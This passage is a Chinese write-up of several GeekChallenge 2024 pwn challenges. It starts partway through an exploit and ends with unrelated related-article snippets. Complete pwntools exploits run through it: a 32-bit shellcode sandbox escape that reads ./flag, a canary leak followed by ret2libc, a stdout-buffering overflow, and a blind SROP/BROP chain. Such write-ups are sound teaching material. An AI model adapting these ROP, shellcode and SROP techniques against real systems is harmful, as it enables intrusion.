success('base =>> ' + hex(base))add(0, 'CCCC', 'B' * 8)sys = base + 0x16FAedit(1, b'A' * 0x10 + p64(sys))show(1)io.interactive()

☘️hard_orw(orw)

🌿分析

在这里插入图片描述
checksec分析
在这里插入图片描述
IDA分析。经典shellcode,开了个沙箱。读4字节
在这里插入图片描述
其实读2字节就够了,rdx已经是一个大值了,直接\x0f\x05继续调用read就可以输入长字节的shellcode
在这里插入图片描述
禁的东西挺多,没有检查是否是64位,直接转32位,这些限制就全没有了

🌿解题

在这里插入图片描述
转32位的汇编,直接套板子,没咋看,因为一般不会给机会转32位
在这里插入图片描述
在32位下,进行orw,这里不能直接execve是因为execve(‘/bin/sh’, 0, 0)会创建一个新进程,这个新进程是64位,会调用openat,64位中openat被禁,就会失败
在这里插入图片描述
输入进去就好了

🌿exp

from pwn import *filename = './sandbox'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 31223)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)shellcode_64 = '''mov rdi, 0x10000mov rsi, 0x1000mov rdx, 7mov r10, 0x21mov r8, 0xFFFFFFFFxor r9, r9push SYS_mmappop raxsyscallcldmov rcx, 0x200mov rdi, 0x10000mov rsi, 0x405102rep movsbmov rsp, 0x10800push 0x23push 0x10000pop raxpush raxretfq
'''shellcode_32 = '''mov eax, 0x6761push eaxmov eax, 0x6C662F2Epush eaxmov ebx, espxor ecx, ecxxor edx, edxmov eax, 5int 0x80mov ebx, 3mov ecx, 0x10500mov edx, 0x100mov eax, 3int 0x80mov ebx, 1mov ecx, 0x10500mov edx, 0x100mov eax, 4int 0x80
'''io.send('AAAA')
io.send('BBBB')
io.send(b'\x0f\x05')io.send(b'\x00\x00' + (asm(shellcode_64).ljust(0x100, b'\0') + asm(shellcode_32, arch='i386', bits=32)).ljust(0x200, b'\0'))io.interactive()

☘️学校的烂电梯pro(栈溢出)

这题有些意外,挺简单的,没什么人做,可能是不太喜欢吧

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
往data里写数据,后面没有用到data,看下汇编
在这里插入图片描述
将栈减少了data的值
在这里插入图片描述
存在溢出,有canary,显然是要获取canary的值,唯一的输出就是number is %lf\n,显然要控制v1,需要控制ask_phone
在这里插入图片描述
这个函数从拿了一个栈的地址,往这个栈地址中写一个浮点数,后面出去就会以浮点数的形式打印这里的值

前面可以控制栈的高低,那就可以把栈移动到rbp - 0x38这个v1的位置刚好是canary的位置,随后输入个’\x00’,scanf就不会接收,然后就不会修改这里的canary值,就可以把canary以浮点数的形式打印出来,随后基本rop即可

🌿解题

在这里插入图片描述
我这里输入28,也就是移动了28个字长,需要主要的是这个数字必须是偶数,如果是奇数会导致后面调用scanf的时候栈不平衡出错

后面输入’\x00’导致scanf失败,没有改变canary值,再泄露
在这里插入图片描述
可以看到这里将canary的地址拿进去了
在这里插入图片描述
scanf修改失败
在这里插入图片描述
打印,这里不用管他的参数,我被他这参数骗了好久,实际上就是打印刚刚的canary值,不知道为什么他这里变成这个了
在这里插入图片描述
可以看到打印了一大串数字出来,这串数字就是canary的浮点表示形式。有的时候canary会没有浮点表示形式,需要多试几次
在这里插入图片描述
将浮点数转换为int类型
在这里插入图片描述
基本rop,先libc再sys

🌿exp

from pwn import *
import structfilename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 21044)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x4014c3
read = 0x401292
ret = 0x40101aio.sendline(str(28))
io.sendline(b'\x00')io.recvuntil('you call the number is ')data = io.recvuntil('\n', drop = True)
num = float(data)canary = int(hex(struct.unpack('>Q', struct.pack('>d', num))[0]), 16)
success('canary =>> ' + hex(canary))io.recv()io.send(b'A' * 0x28 + p64(canary) + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read))libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh').__next__()io.sendline(str(1))io.send(b'A' * 0x28 + p64(canary) + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️stdout(栈溢出,缓冲机制)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
输出缓冲区设定是满0x1000才会输出,这就是题目说的“异常”
在这里插入图片描述
puts可以泄露栈上的一些地址
在这里插入图片描述
栈溢出,基本rop

🌿解题

在这里插入图片描述
先利用开始的一次gift泄露栈地址
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于不知道base地址,只能将返回地址覆盖一字节,改回main函数开始,一直输出,存进缓冲区,存满0x1000就能输出了
在这里插入图片描述
将开始的stack接收
在这里插入图片描述
在这里插入图片描述
控制rbp为自己想要跳转的地方(后来发现好像作用不大,不用走到pop,也不知道当时为啥要整这个地址),并且改返回地址为write
在这里插入图片描述
read刚结束,write能泄露栈上一大片地址,其中就有base地址
在这里插入图片描述
可以看到会将base地址泄露
在这里插入图片描述
接收一波
在这里插入图片描述
由于read的输入位置不够,前面三个send是为了叠出个write来
在这里插入图片描述
如图栈的第4行就是叠出来的write,叠的过程:
在这里插入图片描述
先在这里写入了一个write
在这里插入图片描述
他这里往下走了一行,我没注意发生了啥事
在这里插入图片描述
由于pop的原因,每次循环都会将栈降低8字节,直到有一次,能够溢出3行,并且第4行是write
在这里插入图片描述
输出got表,就拿到了libc
在这里插入图片描述

随后基本rop就可以,这里又降低了一下栈,因为sys要栈对齐

🌿exp

from pwn import *filename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 33582)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')io.send(b'A' * 0x50)for i in range(102):io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + b'\x29')io.recvuntil(b'A' * 0x50)
stack = u64(io.recv(6).ljust(8, b'\0')) - 0x448 + 0x50
success('stack =>> ' + hex(stack))io.send(b'A' * 0x40 + p64(stack) + b'\x78')io.recvuntil('A' * 0x40)
io.recv(8)
base = u64(io.recv(6).ljust(8, b'\0')) - 0x1382
success('base =>> ' + hex(base))
rdi = base + 0x1403
rsi_r15 = base + 0x1401
write = base + 0x1378
ret = base + 0x101a
puts_got = base + elf.got['puts']io.send(b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + p64(write) + b'\x29')io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + p64(rsi_r15) + p64(puts_got) + p64(0))libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()io.send(b'A' * 0x40 + p64(sys) + b'\x29')io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️ez_srop(SBROP)

《最颠沛流离的第二集》《你们不许拿附件做!》《SBROP》

🌿分析

本文的压轴题来了,也算是这次新生赛难度最高的一题。如果后面不给附件估计就我一个解

这题开始没给附件,第5天才给了,不知道是运维的锅还是出题人的锅。我一开始就觉得是有附件没上,但4小时做完其他week4的题后没题做了,就来做做这个题,没想到还真能成功

自创了一种攻击手法:SBROP(SROP + BROP),ROP如其名

没附件,没分析

🌿解题

在这里插入图片描述
先写个脚本交互
在这里插入图片描述

输入两下后结束,猜测有两个read。一般的BROP是一个输入就比较好爆破返回地址,两个的话,不确定哪个read有溢出

结合本题SROP,想了一会,应该是第一个read输入SROP,第二个read输入15个字节,然后调用第一个SROP

猜测第一次和第二次输入的地址应该是一样的,都是往一个buf里输入

先测试一下第一个read的rdx有多大,正好有第二次输入,当第一次输入到最大值溢出后,就会放进第二次输入,这样就可以测rdx多大
在这里插入图片描述
当输入0x400大小数据的时候,还没有事,可以进行第二次输入。输入0x401大小数据的时候,溢出了一字节,直接就进行了第二次输入,程序直接结束了,因此可以得知第一次执行了read(0, buf, 0x400)

第二次read的rdx暂时没法测,默认和上面一样是read(0, buf, 0x400)

有了范围心里就有了点底,0x400是一个很经典的SROP数,基本可以确定是第一次SROP,第二次输15个字节调用

之后需要知道需要多少字节溢出,这样才能安放好SROP。要知道多少字节溢出,就要先知道返回到哪里程序可以继续执行,这样才有回显,才知道ret成功了

有几个地方考虑:main函数开始,第一次read,第二次read,返回到这些地方程序都可以正常执行,等待输入,就有回显。我考虑跳到第一次read

但是程序地址不知道,怎么办呢?这需要一定的编题经验。像SROP类的题,有的用纯汇编出题,那么程序开始就可能是0x400000,也有可能是0x401000,前面没start那些东西,所以直接从text段的页表开始就执行主程序。有的用内联汇编出题,这种一般会往后延一点,从0x4011XX左右开始执行,前面执行start。还有可能用syscall函数出题,read就是syscall(0, 0, buf, 0x400)。还有可能是用read函数出题的标准C程序。

我这里考虑连续调用了两个read,再加上SROP需要syscall,应该是利用syscall函数出的题
在这里插入图片描述
所以我编了一下程序,我这里猜buf就直接是ret的地址,即写即ret,不过后来发现是错了,问题不大。当然我这里没有定义好,retaddr这个参数其实离rbp还有0x10字节距离,我不懂怎么C语言直接ret,懒得学
在这里插入图片描述
编成二进制程序
在这里插入图片描述
IDA里看,长这个样
在这里插入图片描述
汇编中,可以看到,如果没开pie的话,main函数开始的地址会是0x401169

这里题目如果要打BROP,那么canary和pie都不能开

所以我从0x401100开始爆破,实际上我也尝试了从0x401000和0x400000开始爆破,无果
在这里插入图片描述

当程序ret的时候,必定会ret到指定的ret_addr,如果此时刚好在read前,就会停下等待输入
在这里插入图片描述
此时输入一次,看到是异常退出了
在这里插入图片描述
接下来参数拉大开始爆破
在这里插入图片描述
在这里插入图片描述
看到在这两个地方停下了,等待输入。我猜应该这就分别是两个read,前面小的地址应该是才开始第一次read
在这里插入图片描述
接下来试一下是不是还能再输入两次
在这里插入图片描述
发现只能输入一次,这是怎么会事呢?后来我又反复测了挺久,发现不管怎样就是只能输一次,似乎不能回到第一次read的时候了

后来想到,可能第二次输入的rdx不是0x400,毕竟只能确定第一次,第二次一直不知道。如果第二次rdx是0x3ff,那么输入0x400就会溢出一个字节,这个字节在下一次来到第一次read的时候输入了进去,之后来到了第二次read,所以只能输入一次。

于是第二次只输入一字节
在这里插入图片描述
在这里插入图片描述
再次测试,发现能输入两下了,果然是第二次rdx和第一次不同,并且可以通过这一点,测出第二次read的rdx,测得为0x30,这个不是很重要

有了可以回显的返回地址,就可以测需要多少字节溢出
在这里插入图片描述
8个字节8个字节地增加就好,增加到0x28后发现有回显,其他地方都没回显,显然是溢出0x28后就到了ret
在这里插入图片描述
发现只能交互一次,可能是rbp出错了
在这里插入图片描述
这样就没问题了。当然,等会调用SROP的时候是不需要管rbp的,这里只是read需要

SROP干什么呢?第一件事是泄露程序逻辑,需要知道程序在0x401200到0x401300这段期间干了什么,知道程序干了什么,就和有附件一样了

利用write(1, 0x401200, 0x100)就可以完成
在这里插入图片描述
这样就可以完成调用,前提是知道syscall的地址,那么还需要爆破

我一直猜他是通过syscall调用的read,后来发现是直接调用read函数,syscall是另外留在程序里的,问题不大,依然是从0x401200开始爆破
在这里插入图片描述
write函数不好回显,这里用read,如果跳到了syscall,那么就可以调用成功read
在这里插入图片描述
发现到了0x4012c9的位置停下,这里可能就是syscall
在这里插入图片描述
换成write
在这里插入图片描述
发现的确是syscall,write成功。接下来程序已经相当于有了附件,不需要爆破了

机器码不好看,转换为汇编看,来到https://shell-storm.org/online/Online-Assembler-and-Disassembler/

在这里插入图片描述
把刚刚得到这一串扔进来
在这里插入图片描述
在这里插入图片描述
可以看到刚刚的c9位置是mov rbp, rsp,下面调用了syscall,所以其实刚刚的syscall还不是很标准的位置。为什么在c8的时候不行呢,因为push rbp后,下面就是ret,也就是说通过rbp控制这里的ret,刚刚rbp是8个A,所以不行

下面的f2位置,开始调用read,我这里只泄露0x100看不了后面了,实际上我当时泄露了0x200看了一眼后面,和预期差不多,没想到的是作者采用了read函数调用read

接下来我是想通过mprotect函数来提权写shellcode的,但是发现一直调用失败,猜想是不是只能orw,后来发现真的是,我一开始以为那个1f位置的是在setvbuf,但是后来泄露了一下0x401100位置的值,才发现早就setvbuf完了,才明白这里是沙箱,控制只能执行orw + sigreturn这4个系统调用

那orw的话就需要连续执行SROP,需要靠bss段
在这里插入图片描述
运用SROP往bss上写数据,把read的地址写上去,要不然等会orw不好read

先调用SROP的read写完后,rsp为0x404520,ret会pop rip,也就会从0x404520这里拿数据,拿到了read,就会去执行,read(0, rbp - 0x20, 0x400),这里rbp - 0x20也就是0x404600,往这里面写入下一次需要的SROP

在这里插入图片描述
往0x404600写入数据,等会rsp会移动到rbp的位置,也就是0x404620,也就是send中的syscall的位置,由于下面的第二次read读入了15个字节,会继续SROP,同时,写入./flag字符串在0x404600,就可以执行open(‘./flag’, 0)

随后,执行完SROP,rsp为0x404528,继续拿之前存的read的返回地址,继续往0x404700这个rbp - 0x20的位置输入数据
在这里插入图片描述
read(3, 0x404100, 0x100),原理同上
在这里插入图片描述
write(1, 0x404100, 0x100),这时候就不需要控制rsp和rbp了,因为不需要read等操作了

🌿exp

from pwn import *context(arch = 'amd64', log_level = 'debug', os = 'linux')io = remote('nc1.ctfplus.cn', 45094)syscall = 0x4012cc
read = 0x4012f2frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x404500
frame.rdx = 0x100
frame.rsp = 0x404520
frame.rbp = 0x404620
frame.rip = syscallio.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)
sleep(0.1)io.send(b'A' * 0x20 + p64(read) + p64(read) + p64(read))
sleep(0.1)frame = SigreturnFrame()
frame.rax = 2
frame.rdi = 0x404600
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x404528
frame.rbp = 0x404720
frame.rip = syscallio.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'./flag\x00\x00' + b'A' * 7)frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = 0x404100
frame.rdx = 0x100
frame.rsp = 0x404530
frame.rbp = 0x404620
frame.rip = syscallio.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = 0x404100
frame.rdx = 0x100
frame.rip = syscallio.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)io.interactive()

相关文章:

GeekChallenge 2024 第十五届极客大挑战 pwn AK

GeekChallenge 2024 第十五届极客大挑战 pwn AK 🍀前言☘️ez_shellcode(shellcode,栈溢出)🌿分析🌿解题🌿exp ☘️买黑吗喽了吗(整数溢出,栈溢出)&#x1f3…...

禅道是什么,nas是什么,ssh是什么,finalshell是什么,git命令feat 、fix分别什么意思

禅道(Zentao)是一款开源的项目管理软件,专为软件开发团队设计。它集成了项目管理、产品管理、质量管理、文档管理和事务管理等多种功能,旨在帮助团队提高工作效率和项目交付质量。禅道支持敏捷开发方法,同时也适用于传…...

点云-半径搜索法-Radius Search

核心作用 在于通过设定一个空间范围(半径)寻找点的邻域点集合,从而支持对局部区域的分析和操作。 因为空间半径不会随着密度变化而改变点云输出的结果,处理密度变化大的点云时很重要。 应用场景 稀疏点检测:当点云密度…...

P11290 【MX-S6-T2】「KDOI-11」飞船

题目大意:有i种加油站,最开始速度为1,每次加油可以使速度*v,每次加油有一个时间代价,求到达终点所需最小时间。 思路:不妨考虑dp,贪心是错误的。 对于速度而言,,所以速…...

WebGIS地图框架有哪些?

地理信息系统(GIS)已经成为现代应用开发中不可或缺的一部分,尤其在前端开发中。随着Web技术的快速发展,许多强大而灵活的GIS框架涌现出来,为开发人员提供了丰富的工具和功能,使他们能够创建交互式、高性能的…...

量化加速知识点(整理中。。。)

量化的基本概念 通过减少模型中计算精度,从而减少模型计算所需要的访存量。 参考...

BLIP-2模型的详解与思考

大模型学习笔记------BLIP-2模型的详解与思考 1、BLIP-2框架概述2、BLIP-2网络结构详解3、BLIP-2的几点思考 上一篇文章上文中讲解了 BLIP(Bootstrapping Language-Image Pretraining)模型的一些思考,本文将讲述一个BLIP的升级版 BLIP-2&am…...

2024年11月22日 十二生肖 今日运势

小运播报:2024年11月22日,星期五,农历十月廿二 (甲辰年乙亥月庚寅日),法定工作日。 红榜生肖:马、猪、狗 需要注意:牛、蛇、猴 喜神方位:西北方 财神方位&#xff1a…...

小米C++ 面试题及参考答案上(120道面试题覆盖各种类型八股文)

进程和线程的联系和区别 进程是资源分配的基本单位,它拥有自己独立的地址空间、代码段、数据段和堆栈等。线程是进程中的一个执行单元,是 CPU 调度的基本单位。 联系方面,线程是进程的一部分,一个进程可以包含多个线程。它们都用于…...

SQL SELECT 语句:基础与进阶应用

SQL SELECT 语句:基础与进阶应用 SQL(Structured Query Language)是一种用于管理关系数据库的编程语言。在SQL中,SELECT语句是最常用的命令之一,用于从数据库表中检索数据。本文将详细介绍SELECT语句的基础用法&#…...

微服务即时通讯系统的实现(服务端)----(1)

目录 1. 项目介绍和服务器功能设计2. 基础工具安装3. gflags的安装与使用3.1 gflags的介绍3.2 gflags的安装3.3 gflags的认识3.4 gflags的使用 4. gtest的安装与使用4.1 gtest的介绍4.2 gtest的安装4.3 gtest的使用 5 Spdlog日志组件的安装与使用5.1 Spdlog的介绍5.2 Spdlog的安…...

《Spring 依赖注入方式全解析》

一、Spring 依赖注入概述 Spring 依赖注入(Dependency Injection,DI)是一种重要的设计模式,它在 Spring 框架中扮演着关键角色。依赖注入的核心概念是将对象所需的依赖关系由外部容器(通常是 Spring 容器)进…...

【C++动态规划】1411. 给 N x 3 网格图涂色的方案数|1844

本文涉及知识点 C动态规划 LeetCode1411. 给 N x 3 网格图涂色的方案数 提示 你有一个 n x 3 的网格图 grid ,你需要用 红,黄,绿 三种颜色之一给每一个格子上色,且确保相邻格子颜色不同(也就是有相同水平边或者垂直…...

外包干了3年,技术退步明显...

先说情况,大专毕业,18年通过校招进入湖南某软件公司,干了接近6年的功能测试,今年年初,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了四年的功能…...

SpringBoot 2.x 整合 Redis

整合 1&#xff09;添加依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId> </dependency> <!-- 如果没有使用下面给出的工具类&#xff0c;那么就不需要引入 -…...

React的API✅

createContext createContext要和useContext配合使用&#xff0c;可以理解为 “React自带的redux或mobx” &#xff0c;事实上redux就是用context来实现的。但是一番操作下来我还是感觉&#xff0c;简单的context对视图的更新的细粒度把控比不上mobx&#xff0c;除非配合memo等…...

什么是全渠道客服中心?都包括哪些电商平台?

什么是全渠道客服中心&#xff1f;都包括哪些电商平台&#xff1f; 作者&#xff1a;开源呼叫中心系统 FreeIPCC&#xff0c;Github地址&#xff1a;https://github.com/lihaiya/freeipcc 全渠道客服中心是一种能够同时接入并处理来自多个渠道客户咨询和请求的综合服务平台。以…...

Jtti:如何知晓服务器的压力上限?具体的步骤和方法

了解服务器的压力上限(也称为性能极限或容量)是确保系统在高负载下仍能稳定运行的重要步骤。这通常通过压力测试(也称为负载测试或性能测试)来实现。以下是详细的步骤和方法来确定服务器的压力上限&#xff1a; 1. 定义测试目标和指标 在进行压力测试前&#xff0c;明确测试目标…...

贪心算法(1)

目录 柠檬水找零 题解&#xff1a; 代码&#xff1a; 将数组和减半的最少操作次数&#xff08;大根堆&#xff09; 题解&#xff1a; 代码&#xff1a; 最大数&#xff08;注意 sort 中 cmp 的写法&#xff09; 题解&#xff1a; 代码&#xff1a; 摆动序列&#xff0…...

SpringBoot,IOC,DI,分层解耦,统一响应

目录 详细参考day05 web请求 1、BS架构流程 2、RequestParam注解 完成参数名和形参的映射 3、controller接收json对象&#xff0c;使用RequestBody注解 4、PathVariable注解传递路径参数 5、ResponseBody&#xff08;return 响应数据&#xff09; RestController源码 6、统一响…...

目标驱动学习python动力

文章目录 迟迟未开始的原因打破思维里的围墙抛砖引玉爬虫 结束词 迟迟未开始的原因 其实我也是很早就知道有python&#xff0c;当时听说这个用于做测试不错&#xff0c;也就一直没有提起兴趣&#xff0c;后来人工智能火了之后&#xff0c;再次接触python&#xff0c;安装好pyth…...

力扣-Hot100-回溯【算法学习day.39】

前言 ###我做这类文档一个重要的目的还是给正在学习的大家提供方向&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;&#xff09;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关键点&#xff0c;力扣上的大佬们的题解质量是非常非常高滴&am…...

小熊派Nano接入华为云

一、华为云IoTDA创建产品 创建如下服务&#xff0c;并添加对应的属性和命令。 二、小熊派接入 根据小熊派官方示例代码D6完成了小熊派接入华为云并实现属性上传命令下发。源码&#xff1a;小熊派开源社区/BearPi-HM_Nano 1. MQTT连接代码分析 这部分代码在oc_mqtt.c和oc_mq…...

【linux硬件操作系统】计算机硬件常见硬件故障处理

这里写目录标题 一、故障排错的基本原则二、硬件维护注意事项三、关于最小化和还原出厂配置四、常见故障处理及调试五、硬盘相关故障六、硬盘相关故障&#xff1a;硬盘检测问题七、硬盘相关故障&#xff1a;自检硬盘报错八、硬盘相关故障&#xff1a;硬盘亮红灯九、硬盘相关故障…...

谈学生公寓安全用电系统的涉及方案

‌学生公寓安全 学生公寓安全用电系统的设计方案主要包括以下几个方面‌&#xff1a; ‌电气线路设计‌&#xff1a; ‌合理布线‌&#xff1a;确保所有电气线路按照国家或地区的电气安全标准进行设计&#xff0c;避免线路过载和短路。‌使用阻燃材料‌&#xff1a;选用阻燃或低…...

自动语音识别(ASR)与文本转语音(TTS)技术的应用与发展

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

Go 语言数组

Go 语言数组 引言 Go 语言是一种静态类型、编译型语言&#xff0c;由 Google 开发&#xff0c;旨在提高多核处理器下的编程效率。数组作为 Go 语言中的一种基本数据结构&#xff0c;提供了存储一系列具有相同类型元素的能力。本文将深入探讨 Go 语言中数组的使用方法、特性以…...

13. 【.NET 8 实战--孢子记账--从单体到微服务】--简易权限--完善TODO标记的代码

这篇文章特别短&#xff0c;短到可以作为一篇文章的一个章节&#xff0c;那让我们开始吧 一、编写代码 我们在代码中标记了大量的TODO标记&#xff0c;并且注明了这里暂时写死&#xff0c;等权限和授权完成后再改为动态获取这句话。那么到目前为止和权限有关的代码已经完成了…...

深入剖析Java内存管理:机制、优化与最佳实践

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;Java &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 深入剖析Java内存管理&#xff1a;机制、优化与最佳实践 一、Java内存模型概述 1. Java内存模型的定义与作…...

【Amazon】亚马逊云科技Amazon DynamoDB 实践Amazon DynamoDB

Amazon DynamoDB 是一种完全托管的 NoSQL 数据库服务&#xff0c;专为高性能和可扩展性设计&#xff0c;特别适合需要快速响应和高吞吐量的应用场景&#xff0c;如移动应用、游戏、物联网和实时分析等。 工作原理 Amazon DynamoDB 在任何规模下响应时间一律达毫秒级&#xff…...